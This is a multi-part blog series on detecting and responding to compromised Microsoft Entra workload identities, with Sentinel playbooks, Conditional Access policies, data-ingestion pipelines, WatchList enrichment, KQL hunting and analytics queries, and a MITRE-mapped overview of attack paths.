Keep in mind, this is just an example without any warranty. Additional enhancements are needed to run this in production, such as error handling if Graph API isn’t successful or invalid ServicePrincipalObjectId in Custom Details

Recommended to read: Derk van der Woude has written a great blog post how to send a alert e-mail notification to the app owner when a risky workload has been detected. This is a very interesting scenario if you want to integrate a notification option in the playbook.

Playbook: Disable Service Principal

A similar playbook can be also created to execute the following Graph API call to disable the workload identity.

But this Graph API call requires to assign Application.ReadWrite.All application permissions to the Managed Identity of the playbook which is a highly sensitive permissions (includes credential management for every workload identity). Therefore, I’ve created a custom directory role which includes the required action microsoft.directory/servicePrincipals/disable, alongside of some read permissions on Application and Service Principal object. This custom role “Workload Identity Security Responder” can be also granted to particular service principals instead of assigning to directory-level.

Don’t forget to create also playbook if the service principal should be re-enabled as result after the security issue has been mitigated.

The playbook to disable a service principal can be deployed by using this ARM Template:

Disable-EntraWorkloadId_Deploy.json

Automated Response on Risky Workload ID with Conditional Access

Customers with Workload Identity Premium licenses can use Conditional Access for Single-Tenant Service Principals. Blocking access for risky service principals is one of the supported conditions and controls. I have used “Custom Security Attributes” to add the defined classification of privileged access and associated service (CMDB connection) on the Enterprise Application object.

Using those attributes has several advantages (in my opinion):

1. This information can not be read by any member in the tenant and they can be used for App Filtering in Conditional Access Policies.
2. Using filter in Enterprise Application blade to find workload identities with classification on specific Privileged Access Tiering Level.
3. Available data source in Microsoft Graph with scoped read- and write-permissions to store answer the following questions: What should the workload identity be used for (defined in onboarding process) and what are the privileges that has been assigned?

In this example, I’ve created a policy which should block access for every risky workload identity (on risk level “high”) with privileges on “ControlPlane” and that will be used for Entra ID automation.

There are also some other scenarios to use the attributes to include or exclude workload identities from automated response. For example, high-sensitive workloads which are covered by a policy to block any access “in the case of imminent danger”.

Applied Incident Response for CAE-supported Workload

In the following tests, I’m using a sample from the “ms-identity-dotnetcore-daemon-graph-cae” repository on GitHub to run a simple daemon console application for requesting Graph queries. The sample application and the resource (Graph API) are supporting CAE.

This is also visible from the Sign-in logs of Entra ID but seems not included in the AADServicePrincipalSignInLogs in Microsoft Sentinel.

The sample application uses a service principal which has been confirmed as compromised by the previously described Sentinel Playbook which raised the risk level to “high”. As we can see in the following AADRiskyServicePrincipals logs, the risk has been set on 2:22 PM (UTC+1).

After a few minutes, the continuously running job (query and modifying role assignments) has been stopped even though the access token (acquired from MSAL cache) was not expired yet.

The related AADRiskyServicePrincipals event entry shows that Conditional Access has blocked the access after re-evaluation of the policy (condition has changed from risk level none to high).

Licensing and comparison for Workload Identities features

As already described, some of the features requires additional licenses. Below you’ll find a quick overview about Entra ID features which has been included in this article but also the previous part of the blog post series.

In my opinion, Workload Identities Premium offers some interesting features with Conditional Access and ID Protection. Investments in implementing analytics rules, creating playbooks and fine-tune Microsoft Defender XDR alerts are highly recommended and gives you a great opportunity to build advanced and enriched detections, in addition to Microsoft’s Threat Intelligence.

• Introduction and Delegated Permissions
• Lifecycle Management and Operational Monitoring
• Threat detection with Microsoft Defender XDR and Sentinel
• Advanced Detection and Enrichment in Microsoft Sentinel
• Incident Response

Integration of AzADServicePrincipalInsights as Custom Table

In the first part of the blog post, I’ve already described “AzADServicePrincipalInsights” (AzADSPI) from Julian Hayward. The tool allows to collect richfull insights and tracking changes of Workload Identities and export them as JSON in a repository. But we can use also the data to ingest them to Microsoft Sentinel for enrichment. Therefore, I’ve created a pipeline which ingest the data to a Microsoft Sentinel Workspace by using PowerShell scripts.

[Update 2024-02-10]: Option to ingest data to Log Analytics has been integrated to AzADSPI. Julian has also improved my previous script logic and has become part of the solution. I’ve updated the instruction to use the original repository instead of my forked version.

Executing AzADServicePrincipalInsights in your GitHub repo

1. First of all, create a private project/repository with the name “AzADServicePrincipalInsights” in GitHub and clone the forked version of AzADSPI from the repository JulianHayward/AzADServicePrincipalInsights. This repository includes also the PowerShell script and workflow extensions to ingest the output to Microsoft Sentinel.

2. Create an app registration and add the required permission as Application Permission and Azure RBAC assignment. You can also create a user-assigned managed identity but in that case the Graph API permissions needs to be configured by API or PowerShell.

   

3. Follow the steps from the following Microsoft Learn article to configure Federated Credentials in GitHub: Add federated credentials - Connect GitHub and Azure | Microsoft Learn Make sure, that the values CLIENT_ID , TENANT_ID and SUBSCRIPTION_ID has been added as repository secret.

4. Use the workflow template file “.github/workflows/AzADServicePrincipalInsights_OIDC.yml” and customize the parameters. It’s mandatory to change the ManagementGroupId.

   

5. Execute the workflow and verify that AzADSPI is able to collect the data and was able to commit the files successfully to the main branch.

Create Data Collection Endpoint and Rule to use Azure Monitor Ingest API

Next, we will create the required data collection endpoint in Azure Portal. Those single configuration steps are well documented in Microsoft Learn. Therefore I’ve added the links to the related articles in the headlines and added some notes and configuration parameters which are important to know.

1. Create data collection endpoint In my example, I’m using the same subscription as Microsoft Sentinel for creating a data collection endpoint and rule. Make sure that Data Collection Endpoint and Rule are created in the same but in a dedicated resource group.

   

2. Create new table in Log Analytics workspace

   I’ve chosen the table name “AzADServicePrincipalInsights_CL” which will be used later in the parser and analytics rules:

   

3. Parse and filter sample data Get the script “AzADSPI_DataCollectionIngest.ps1” from my repository and execute it by using the parameter SampleDataOnly which allows you to get a JSON output. Export the content as file and use them as sample data.
4. Assign permissions to the DCR Use the pre-created Service Principal or Managed Identity (with Federated Credential) which has been created previously for the role assignment. In this scenario, the GitHub workflow needs the privileges to ingest the data.

Implement Pipeline to ingest data to Microsoft Sentinel

1. Next, go back to the workflow file “AzADServicePrincipalInsights_OIDC.yaml” for changing variable of IngestToLogAnalytics to true and editing the following variables with the corresponding values of your environment:
   • ManagementGroupId
   • DataCollectionRuleSubscriptionId
   • DataCollectionRuleResourceGroup
   • DataCollectionRuleName
   • LogAnalyticsCustomLogTableName (e.g., AzADServicePrincipalInsights_CL)

   • ThrottleLimitMonitor (default value can be keep as it is)

     

2. The logic for ingest the data to Log Analytics is defined in the PowerShell script “AzADSPI/AzADSPI_DataCollectionIngest.ps1” in the folder “pwsh”. There’s no further customizing needed by default.
3. Run the workflow and wait for 10-15 minutes to verify if the data has been successfully ingested. Check if any event entry exists on the defined table name (e.g. AzADServicePrincipalInsights_CL).

4. I’ve created a template for a KQL function with the name “AzADSPI” which will standardize the column names to my defined and preferred schema. This also supports me in sharing the same KQL query logic across other data sources that I’m using in my examples and detection queries. Follow the steps from Microsoft Learn article to create and use functions in Microsoft Sentinel.

   

Publish WatchList “WorkloadIdentityInfo” with SentinelEnrichment

Together with my colleague Fabian Bader, I have worked on an alternate way to publish enrichment data to Microsoft Sentinel. WatchLists are a great way to maintain a list of this kind of asset information which can be used in KQL queries within Microsoft Sentinel.

We have published a PowerShell module named “SentinelEnrichment” which automates the process to create and update the WatchList. This module can be executed in a GitHub action workflow, Automation Account, Azure Function or any other environment which supports PowerShell.

I’ve used some code from my EntraOps PoC project to gather various details about Workload Identities. The script can be found here and will provide the content for the WatchList which we like to upload in the following automation job. In this example, I will use an automation account for collecting the data and upload the WatchList to Sentinel.

Side Note: This solution offers a different set of information compared to the AzADSPI. Some details such as Azure RBAC assignments or Delegated API Permissions are not part of the WatchList. The size of a row is limited and therefore just a subset can be provided in a single WatchList.

Create and prepare an Automation Account

1. Create an automation account and enable the System-assigned Managed Identity

2. Add the required Microsoft Graph API application permissions to the Managed Identity by using Microsoft Graph PowerShell or any other Graph Client. I’ve customized the published sample by Niklas Tinner which can be found here.

    #Install required module
    Install-Module Microsoft.Graph -Scope CurrentUser
   
    #Connect to Graph
    Connect-MgGraph -Scopes Application.Read.All, AppRoleAssignment.ReadWrite.All, RoleManagement.ReadWrite.Directory
   
    #Insert Object ID of Managed Identity
    $ManagedIdentityObjectId = Read-Host -Prompt "Enter Object Id of the System-assigned Managed Identity on the Azure Resource"
   
    #Insert permissions of Graph
    $AppRoles = @("Application.Read.All","Group.Read.All", "RoleManagement.Read.Directory")
   
    #Find Graph permission
    $MsGraph = Get-MgServicePrincipal -Filter "AppId eq '00000003-0000-0000-c000-000000000000'"
    $Roles = $MsGraph.AppRoles | Where-Object {$_.Value -in $AppRoles}
   
    #Assign permissions
    foreach ($Role in $Roles) {
        New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $ManagedIdentityObjectId -PrincipalId $ManagedIdentityObjectId -ResourceId $MsGraph.Id -AppRoleId $Role.Id
    }
    Disconnect-MgGraph
   

3. In addition to Microsoft Graph, the automation accounts need also permission to write and delete WatchList(s) in the Microsoft Sentinel Workspace. Assign the managed identity the role “Microsoft Sentinel Contributor” on Resource Group-Level or create/use a custom RBAC role including the following least privileges:
   • Microsoft.SecurityInsights/Watchlists/read
   • Microsoft.SecurityInsights/Watchlists/write
   • Microsoft.SecurityInsights/Watchlists/delete

4. Add the SentinelEnrichment PowerShell Module by using the import function from the PowerShell Gallery. Choose PowerShell 7.2 as runtime environment.

   

5. Verify that the module “SentinelEnrichment” has been successfully imported as module.

   

Add and execute the runbook to create “WorkloadIdentityInfo”

1. Add details about the Sentinel Workspace in the variables of the automation accounts. Create variables under the section “Shared Resources” with the following names and the related values:

   

   • SentinelResourceGroupName
   • SentinelSubscriptionId
   • SentinelWorkspaceName

2. Create a new runbook with runbook type “PowerShell” and Runtime version 7.2.

   

3. Copy the content of the script from my repository and past them into the runbook:

   

4. Click on “Test pane” to validate that the script in association with the required permissions and variables works.
5. At next, you need to click on “Publish” to leave the edit and test mode and release the runbook.
6. Create a scheduler to run the script to update the WatchList automated on your preferred time interval.

7. Check the results of the WorkloadIdentityInfo table after a successful execution of the runbook.

   

Enrichment of “Tiering Model” Classification

I’ve published a definition of the Enterprise Access Model to classify and identify resources in Microsoft Entra ID. This classification model is part of my PoC project “EntraOps” and shared as community-driven project. Julian Hayward has implemented the EntraOps classification to AzAdvertizer and will be also available out-of-the-box in a future release of AzADSPI.

The classification files can be also used in KQL for enrichment and allows to identify App Roles and Directory Role assignment in relation to the definition of “Control Plane” privileges. Therefore, I’ve created Microsoft Sentinel functions for AzADSPI and WorkloadIdentityInfo which allows to apply the classification (as external data from the JSON file on the GitHub project) by executing the KQL query.

🔗 Function “PrivilegedAzADSPI” for “AzADSPI” (Custom Table) AzureSentinel/Functions/AzADSPI_EnrichedByEntraOps.yaml at main · Cloud-Architekt/AzureSentinel (github.com) 🔗 Function “PrivilegedWorkloadIdentity” for “WorkloadIdentityInfo” (WatchList) AzureSentinel/Functions/PrivilegedWorkloadIdentityInfo.yaml at main · Cloud-Architekt/AzureSentinel (github.com)

Classification of App Owner or Delegated Role Member

I’m planning to apply classification for all privileged users in Entra ID as part of the upcoming release of EntraOps which will cover all eligible, active and permanent members. In the meanwhile, I’m using the IdentityInfo table to get a list of all active or permanent Entra ID role member of the last 14 days. As already described before, EntraOps classification can be used to apply a general classification by adding them to the KQL logic.

// List of (active/permanent) Directory role member with with enriched classification from EntraOps Privileged EAM
// by using IdentityInfo table from Microsoft Sentinel UEBA
let SensitiveEntraDirectoryRoles = externaldata(RoleName: string, RoleId: string, isPrivileged: bool, Classification: dynamic)["https://raw.githubusercontent.com/Cloud-Architekt/AzurePrivilegedIAM/main/Classification/Classification_EntraIdDirectoryRoles.json"] with(format='multijson')
| where Classification.EAMTierLevelName != "Unclassified"
| extend EAMTierLevelName = Classification.EAMTierLevelName
| project RoleName, isPrivileged, EAMTierLevelName;
let SensitiveUsers = IdentityInfo
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, *) by AccountObjectId
| mv-expand AssignedRoles
| extend RoleName = tostring(AssignedRoles)
| join kind=inner ( SensitiveEntraDirectoryRoles ) on RoleName;
SensitiveUsers
| project EAMTierLevelName, RoleName, AccountObjectId, AccountDisplayName, AccountUPN, IsAccountEnabled, UserType, SourceSystem

In addition, I’ve created just another function which allows you to get a combined list of all identities (human and workload identities) which are available from the IdentityInfo and the custom solution WorkloadIdentityInfo . This includes also the classification enrichment.

🔗 Function “UnifiedIdentityInfo” for WatchList “WorkloadIdentityInfo” and UEBA table “IdentityInfo” AzureSentinel/Functions/UnifiedIdentityInfo.yaml at main · Cloud-Architekt/AzureSentinel (github.com)

List of privileged assignments outside of Custom Table or WatchList

Sometimes it’s required to get a list of the recent added privileged assignments directly from the AuditLog to cover also the latest assignments before the next automation schedule or trigger will update the Custom Table or WatchList. Therefore, I’ve created a function which shows all Microsoft Graph API and Entra ID role assignments of the latest 24 hours.

🔗 Function “RecentAddedPrivileges” to get latest MS Graph API and Entra ID role assignments from Audit Logs: AzureSentinel/Functions/RecentAddedPrivileges.yaml at main · Cloud-Architekt/AzureSentinel (github.com)

Enriched Incidents from Microsoft Security products

In the following section, I like to give some examples how alerts from Microsoft Security products can be enriched by the WorkloadIdentityInfo WatchList.

Risky Workload ID detected by Entra ID Protection

Leaked credentials of Workload Identity has been detected by Entra ID Protection. As already described in the previous part of the blog post series, the entity mapping is missing in Microsoft Sentinel. Therefore, I’ve written analytic rule which uses existing Alert (from the SecurityAlert table entry) to enrich them with detailed information from the WorkloadIdentityInfo watchlist in combination with the function PrivilegedWorkloadIdentity. This allows us to have an entity mapping to the Application object but also enriched information, including the Tiering Level of Privileged Access.

Below you’ll see the differences between the original incident on the left side and the enriched incident details (including privileged classification and entity details) from my custom analytics rules on the right side.

You will find the analytics rule templates on my repository: 🧪 Workload ID Protection Alerts with Enriched Information

Side Note: Using this custom analytic rule could lead to duplicated incidents and alerts if incident creation has been already enabled for the alerts. Avoid to use incident creation rules for this type of Identity Protection Alerts or use an automation rule to avoid duplicates.

Suspicious activities detected by MDA App Governance

MDA App Governance includes many built-in alert policies but also the option to configure customized patterns to detect suspicious activity. But similar to Entra ID Protection alerts for Workload Identities, the mapping to the entity and description details are also missing. Therefore, I’ve created an rule template to parse the ApplicationId from the “AlertLink URL” and correlate them with the WorkloadIdentityInfo for entity enrichment. In addition, the description details are not visible in the incident overview.

As you can see in the next sample, a high volume of e-mail search activities has been detected by using a privileged interface. Information about the Workload Identity from the WatchList and classification by using the PrivilegedWorkloadIdentityInfo allows to add some related custom alert detail fields to the incident.

You will find the analytics rule templates on my repository: 🧪 Workload ID Protection Alerts with Enriched Information

Threat policy (anomaly detection) alerts from Microsoft Defender XDR

Microsoft Defender XDR includes a few anomaly detection policies for OAuth apps (e.g., Unusual ISP for an OAuth App). We are using just another analytics rules to use the entry from the SecurityAlert to create an enriched incident.

The previous named templates can be found here:

🧪 MDA Threat detection policy for OAuth Apps with Enriched Information

Hunting queries with enriched data of Microsoft Security products

Anomalous changes on high-sensitive Workload Identities

We have two interesting data sources which can be used for anomaly-based detection: Microsoft Defender XDR Behaviors can be used for checking unusual addition of credentials, as you can see in the following hunting query. Permissions will be enriched with the data from the classification model.

let SensitiveMsGraphPermissions = externaldata(EAMTierLevelName: string, Category: string, AppRoleDisplayName: string)["https://raw.githubusercontent.com/Cloud-Architekt/AzurePrivilegedIAM/main/Classification/Classification_AppRoles.json"] with(format='multijson');
BehaviorInfo
| where ActionType == "UnusualAdditionOfCredentialsToAnOauthApp"
| join BehaviorEntities on BehaviorId
| where EntityType == "OAuthApplication"
| extend Permissions = parse_json(AdditionalFields1).Permissions
| mv-expand Permissions
| extend Permission = tostring(Permissions.PermissionName)
| join kind=inner ( SensitiveMsGraphPermissions | project EnterpriseAccessModelTiering = EAMTierLevelName, EnterpriseAccessModelCategory = Category, AppRoleDisplayName ) on $left.Permission == $right.AppRoleDisplayName
| summarize ApplicationPermissions = make_list(Permission), EnterpriseAccessModelTiering = make_set(EnterpriseAccessModelTiering), EnterpriseAccessModelCategory = make_set(EnterpriseAccessModelCategory) by Timestamp, BehaviorId, ActionType, Description, Categories, AttackTechniques, ServiceSource, DetectionSource, DataSources, AccountUpn, Application, ApplicationId

The User Behavior Entity Analytics in Microsoft Sentinel includes also anomalies about “Application Management” activities from the user. This use case is not limited to a hunting query and would be also a potential anomaly-based detection. In this sample, we use the UEBA tables in combination with the IdentityInfo to build an analytics rule in Microsoft Sentinel for create an incident with “Medium” severity under the following conditions

• Investigation Priority Score is greater than 1 in combination if one of the conditions will be satisfied:
  • Actor has no active or permanent Entra ID role assignment in the past 14 days
  • Risky User with Risk Level of Medium or higher

The incident will be increased to “High” severity if the Actor has been assigned to “Control Plane” Entra ID role in the past 14 days. All other results will be set to severity “Informational” and not included in the incident creation.

You can find the KQL logic which is also part of the analytic rule-version of this hunting query: 🧪 UEBA Behavior anomaly on Application Management

Hunting compromised owner of Application and Service principal object

As already described, AzADSPI includes some advanced details of the Workload Identities objects (such as Application or Service Principal Owner). This data is now available in Sentinel by ingesting the data to the custom table. Therefore, we can use them in a hunting query to find risk events related to identities which has also ownership of Workload Identities.

The query is very simple and just correlates the ownership details from the custom table with the AADRiskEvents table from Entra ID Protection:

let ServicePrincipalOwner = PrivilegedAzADSPI
    | mv-expand parse_json(ServicePrincipalOwners)
    | extend OwnerId = tostring(ServicePrincipalOwners.id)
    | extend Ownership = "ServicePrincipalObject";
let ApplicationOwner = PrivilegedAzADSPI
    | mv-expand parse_json(ApplicationOwners)
    | extend OwnerId = tostring(ApplicationOwners.id)
    | extend Ownership = "ApplicationObject";
AADUserRiskEvents
| where TimeGenerated >ago(365d)
| join kind=inner (
    union ServicePrincipalOwner, ApplicationOwner
) on $left.UserId == $right.OwnerId
| project TimeGenerated, UserDisplayName, UserId, UserPrincipalName, RiskEventType, RiskDetail, RiskLevel, RiskState, WorkloadIdentityName, WorkloadIdentityType, Ownership

The result can be look like this one, attempt to get access to a Primary Refresh Token of a user has been detected which has access to a Workload Identity. Optionally, the classification of the affected workload identity could be also added.

Attack path from unsecured workload environments

KQL offers the option to create “cross-service queries” which give us the chance to get results from the Azure Resource Graph in combination with data in the Microsoft Sentinel Workspace. At time of writing the blog post, this is not supported for Analytics Rules. However, it can be used in hunting queries. In this sample, we will use this feature to get a list of all attack paths from “Microsoft Defender for Cloud” CSPM feature which includes a Workload Identity as entity. Afterwards we use the result to enrich them with data from the WorkloadIdentityInfo table.

arg("").securityresources
    | where type == "microsoft.security/attackpaths"
    | extend AttackPathDisplayName = tostring(properties["displayName"])
    | mvexpand (properties.graphComponent.entities)
    | extend Entity = parse_json(properties_graphComponent_entities)
    | extend EntityType = (Entity.entityType)
    | extend EntityName = (Entity.entityName)
    | extend EntityResourceId = (Entity.entityIdentifiers.azureResourceId)
    | where EntityType == "serviceprincipal" or EntityType == "managedidentity"
    | project id, AttackPathDisplayName, tostring(EntityName), EntityType, Description = tostring(properties["description"]), RiskFactors = tostring(properties["riskFactors"]), MitreTtp = tostring(properties["mITRETacticsAndTechniques"]), AttackStory = tostring(properties["attackStory"]), RiskLevel = tostring(properties["riskLevel"]), Target = tostring(properties["target"])
| join hint.remote=right ( PrivilegedWorkloadIdentityInfo
) on $left.EntityName == $right.ServicePrincipalObjectId

In the result, we can see the details from the MDC Attack Path but also the assigned permissions and classification of the affected workload identity.

Side Note: You can also build own attack correlation with the data from AzADSPI. The ingested data includes the columns ManagedIdentityAssociatedAzureResources and ManagedIdentityFederatedIdentityCredentials which gives you the chance to correlate the Workload Identity to the assigned Azure or Federated Entity (such as GitHub or Kubernetes workload).

Custom analytics rules with WorkloadIdentityInfo in Microsoft Sentinel

Added Ownership on privileged workload identity to lower-privileged user

In general, assignment of owners to Application and Service Principals should be avoided. Microsoft offers already a rule template (“Add owner to application”) to cover this use case for Application object. But keep in mind, also an owner of service principal object is able to issue a valid credential to the workload identity.

I’ve created an analytics rule which will generate an incident with high severity if an ownership of Application or Service Principal has been assigned to a user which has lower privileges than the application. Not only the actor will be included in the incident, also the target principal is part of the entity mapping.

This rule template can be found here and can be used in combination with the WorkloadIdentityInfo:

🧪Added Ownership to workload identity (WorkloadIdentityInfo)

Added credential on privileged workload identity by lower privileged users

Issuing a credential by an owner is a sensitive management operation. Especially, if the owner has the chance use an impersonation of the workload identity for privilege escalation. In the next example, I’m using the classification of the workload but also actor to identify if the credential has been issued by a lower privileged user. This incident can be also correlate to a previous incident (“Added Ownership on privileged workload identity to lower-privileged user”) to understand the context of both security events as multi-stage attack.

You can find the analytic rule in my repository and should be deployed in combination with the previous rule template:

🧪 Added Credential to privileged workload by lower or non-privileged user

Token Replay from compromised or unsecured workload environments

I’ve build and shared some hunting queries for correlation between a sign-in and activity event from the AzureActivity and the new MicrosoftGraphActivityLogs in October this year. This can be used as potential indicator for token replay in my opinion.

Replay of tokens from unsecured DevOps or other workload environments has been one of my live demos in previous community talks about workload identities. Correlation between IP address from sign-in and activity was of the few available options before (e.g., Azure Activity with Federated Credentials outside of GitHub Workflow activity). But now we can build additional queries to use the UniqueTokenIdentifier to build a correlation between the acquired token from the sign-in process and the activity of the issued token.

Dynamic severity can be set on conditions if the IP address is suspicious or is coming from unfamiliar IP service tags/location. In this sample, the severity is increased to high if it’s outside of Azure.

The analytic rule logic is available for Azure Resource Manager and Microsoft Graph here:

🧪 Token Replay from workload identity with privileges in Microsoft Azure (WorkloadIdentityInfo).yaml

🧪 Token Replay from workload identity with privileges in Microsoft Entra or Microsoft 365 (WorkloadIdentityInfo)

Next: Incident Response and Conditional Access

In the next part of the blog post series, we will go into details about incident response on Workload Identities and how Conditional Access can be used for automated response. So, stay tuned!

• Introduction and Delegated Permissions
• Lifecycle Management and Operational Monitoring
• Threat detection with Microsoft Defender XDR and Sentinel
• Advanced Detection and Enrichment in Microsoft Sentinel
• Incident Response

Overview of techniques and tactics

There are a couple of ways a Workload ID can be used in attack paths. They have become popular for attackers because of weakness in security configuration and monitoring:

• Limited coverage by Security Operations
• Limited protection capabilities, compared to privileged human identities
• Stale or unsecured configurations (including credential and lifecycle management)
• Delegation and usage to lower protected users (e.g., service owners or developers)

As we can see in the following example from “Solorigate” attacks, service principals have been used for (persistent) access to exfiltrate data from the Microsoft Graph API.

In the past, “Solorigate” was one of the known attack paths which used an existing privileged application to gain access to sensitive data. Image Source: Microsoft TechCommunity “Solarigate”’s Identity IoCs

Example of (multi-stage) attack path and relation to MITRE TTPs

Let us have a closer look into an attack path by abusing privileged Workload ID by compromised (lower privileged user) owner. In most scenarios, a valid and legitimate Workload ID has been taken over by an attacker. MITRE ATT&CK framework covers a few techniques which are in relation to this scenario.

1. Valid Accounts: Cloud Accounts, Sub-technique T1078.004: Compromising a user with assigned privileges by Entra ID role to manage Workload IDs or delegated ownership of a single application or service principal object. Account takeover of a user with access to the workload or DevOps environment which runs or executes on behalf of the service principal can be another option.
2. Afterwards, it would be the goal of an attacker to take over control of a non-human identity to avoid satisfying security controls for privileged user (MFA, PIM, Device Compliance, and other policies which are not applicable or applied to service principals). The following different techniques are covered by MITRE and just a few examples about used techniques which allows attacker to gain access to impersonate the application or workload:
   1. Account Manipulation: Additional Cloud Credentials, Sub-technique T1098.001 Compromised identity has privileges to add credentials to existing application or workload identity. Additional Azure Service Principal Credentials are explicitly described in MITRE D3FEND.
   2. Steal Application Access Token, Technique T1528 Access to resources or code which will be used to acquisite tokens for Workload Identity (e.g., executed pipeline in a environment with a valid federated trust to an Entra ID Federated Credential).
   3. Unsecured Credentials: Private Keys, Sub-technique T1552.004 Credentials or private keys for Workload ID are insecurely stored, such as code artifacts or configuration files.
   4. Gather Victim Identity Information: Credentials, Sub-technique T1589.001 Credentials are leaked to the public (darkweb or public repository)
3. Collection, Tactic TA0009 Workload ID will be used for one of the techniques to gather sensitive information for the goal of this attack, such as exploring vulnerabilities for further attacks or finding resources for data exfiltration.
4. Finally, various techniques can be used as a next step for gaining access to data or resources but also further privilege escalation. For example, abusing Mail.Read.All Graph API Permissions for Email Collection, Technique T1114 or using granted access to subscription for Crypto mining by Resource Hijacking - Technique T1496.

There are also a couple of other attack scenarios in relation to application identities, for example create a malicious Workload ID by Illicit Consent Grant (User Execution, Technique T1204). More details can be found in the Azure AD Attack & Defense Playbook.

Security consideration on different types of workload identity

Several types of Workload Identities are available with different capabilities and support for security features, as already described in the first part of the blog post.

Below you will find a short comparison of the application and managed identity types.

*Assigned permissions to other tenants via Microsoft Lighthouse delegation

No built-in protection by assigned (sensitive) roles and permissions

Human identities (user accounts) with assignment to Entra ID roles or role-assignable groups are particular protected by Microsoft Entra. This is not the case for Service Principals. Furthermore, Restricted Management AUs cannot be used to prevent administrative access from directory-level roles in Entra ID. It’s important to keep in mind!

Identity Threat Detection and Response (ITDR) with Microsoft Security

There are a couple of general approaches which can be used as signal to detect suspicious sign-in or access for identities in Microsoft Entra. Let us have a look on some examples and try to map and evaluate them to the scenarios of Workload Identities

• Repeating Patterns for timing, behavior, and target resources Most workloads are using Service Principals for recurring tasks or executing processes on a defined scope.
• Identified source of access (IP address, resource) Partially suitable, works for resources with dedicated connectivity which can be clearly assigned, most cloud-based PaaS services are using public endpoints which will be shared with other services.
• User Agents or identifier of client app Partially suitable, works only as indicator because it’s easily to fake

All the previously named signals can be involved to build anomaly detection model and behavior analytics for non-human identities. In the next section, we will go through various data sources and features which can be used to implement detections.

Microsoft Defender XDR Alerts and Behaviors

In the past, threat detection alerts for various OAuth app activities have been generated byMicrosoft Defender for Cloud Apps (MDA). Microsoft has decided to move some of the alerts with a high false positive rate to the new category of behaviors events.

To enhance the quality of alerts generated by Defender for Cloud Apps, and lower the number of false positives, Defender for Cloud Apps is currently transitioning security content from alerts to behaviors.

More details about Defender for Cloud Apps’ transition from alerts to behaviors can be found at Microsoft Learn.

Some of the anomaly detections has been disabled as alert, as we can see in the “policies” in the Microsoft 365 Defender portal.

Nevertheless, some detections (such as “Unusual ISP for an OAuth App”) are still available as enabled “Threat detection” policy and should be considered (in my opinion) for your ITDR implementation. In this example, I have replayed a token from an Azure Managed Identity which leads to the following (true-positive) alert.

Usage Pattern of access from Workload ID (in this case a Managed Identity) was involved in this alert to identify a potential compromise. An incident in Microsoft Sentinel will be generated when using the Microsoft 365 Defender Data Connector.

The shown incident is available in Microsoft Sentinel and displays related IP address but not the impacted Service Principal as Entity. Similar incidents from other data sources works (based on IP address entity) and allows to show context to other detections in Microsoft Defender for Cloud (”MicroBurst exploration toolkit used”) but also similar alerts from Microsoft Sentinel Analytics Rules.

The required information for entity mapping to the OAuth application is included in the SecurityAlert entry and could be used for building an own mapping by implementing an Analytic Rule in Microsoft Sentinel.

Details of the Service Principal (oauth-application) are included in the entities even if they are considered by Microsoft Sentinel for entity mapping.

Some other detections has been moved to Behaviors (e.g., “Unusual addition of credentials to an OAuth app”) and are documented in the associated Microsoft Learn article.

Advanced hunting allows us to get details of the behavior detections (from the table BehaviorInfo) including enriched information from “App Governance” about the Entra ID application (formerly known as OAuth app inventory in MDA). This includes also to getting a list of all delegated or application permissions.

BehaviorInfo
| where ActionType == "UnusualAdditionOfCredentialsToAnOauthApp"
| join BehaviorEntities on BehaviorId
| where EntityType == "OAuthApplication"
| extend Permissions = parse_json(AdditionalFields1).Permissions

A custom detection can be created (by using the button named “Create detection rule”) right from the “Advanced hunting” page. This allows us to create an incident when a behavior-based detection is available. OAuth apps are not listed as “Impacted entities” and the behaviors table cannot be used in Microsoft Sentinel (Microsoft 365 Defender Data Connector is not covering this table). Nevertheless, custom detection seems is able to add the Entities to the incident.

Microsoft Defender 365 App Governance

App Governance offers various threat detection alerts for Service Principals. The add-on feature for Microsoft Defender for Cloud Apps (MDA) is available without any additional costs for every customer with a valid license. Details about the licensing are described in the Microsoft Learn article about App Governance Licensing.

A list of the built-in threat detections including severity, description, TTP mapping and recommended detections are available in the investigation guide for App Governance.

In addition, templates but also custom policies can be configured to create alerts based on self-defined conditions and scopes. For example, detections for increased data usage for application without verified (ISV) publisher.

Alert will be generated with the evidence of the related OAuth application in Microsoft 365 Defender.

The alert will be forwarded to Microsoft Sentinel as incident (via M365D connector).

Unfortunately, the entity mapping to the OAuth application is not included. Furthermore, there is no single value in the SecurityAlert event which can be used to build a correlation and mapping to the application. However, the description includes the OAuthAppId as part of the deep link to the OAuth app summary page in M365D Portal.

The following KQL query shows how we could extract the OAuthAppIdfrom the URL:

SecurityAlert
| where ProductName == "Microsoft Application Protection"
| extend CloudAppUrl = parse_url(Description)
| extend CloudAppUrlParam = parse_json(tostring(CloudAppUrl.["Query Parameters"])).oauthAppId
| extend AppId = tostring(toguid(CloudAppUrlParam))
| extend Category = tostring(parse_json(ExtendedProperties).Category)
| extend AlertDisplayName = tostring(DisplayName)
| distinct TimeGenerated, AppId, AlertSeverity, AlertDisplayName, Category
| project
    TimeGenerated,
    AppId,
    AlertSeverity,
    AlertDisplayName,
    Category

The result of the query is a list of all App Governance Alerts and the related App Id

This query can be used to implement a analytics rule to create incidents in Microsoft Sentinel with the mapping of the AppId to the entity type “Cloud Application”:

Entra ID Protection for Workload Identities

Microsoft has introduced “Identity Protection for Workload Identities” as part of Microsoft Entra Workload ID Premium. This offers a couple of Risk detection which will be considered to calculate the sign-in and risk of workload identities. One of my favorite capabilities are the behavior-based detections for “Suspicious sign-ins” and “Anomalous service principal activity”.

The risk detections and details are available from the Entra ID Protection blade.

Alerts are also visible in the Microsoft 365 Defender portal but without any assets or evidence details.

Incidents will be created also in Microsoft Sentinel but without any mapping to the “Cloud Application” entity type. Side note: A few alerts will be only forwarded when “All alerts” are configured (instead of “High-impact alerts only”) which needs to be configured in the Alert service settings.

Details about the related Service Principal to the risk detection are available in the SecurityAlert event entry, as we can see in the following screenshot:

This allows the correlation to other alerts based on the AppId. For example, enrichment of Risk Detections with App Governance alerts of an application.

AADServicePrincipalRiskEvents
| join kind=innerunique (SecurityAlert
| where ProductName == "Microsoft Application Protection"
| extend CloudAppUrl = parse_url(Description)
| extend CloudAppUrlParam = parse_json(tostring(CloudAppUrl.["Query Parameters"])).oauthAppId
| extend AppId = tostring(toguid(CloudAppUrlParam))
| extend Category = tostring(parse_json(ExtendedProperties).Category)
| extend AlertDisplayName = tostring(DisplayName)
| distinct AppId, AlertSeverity, AlertDisplayName, Category)
on $left.AppId == $right.AppId
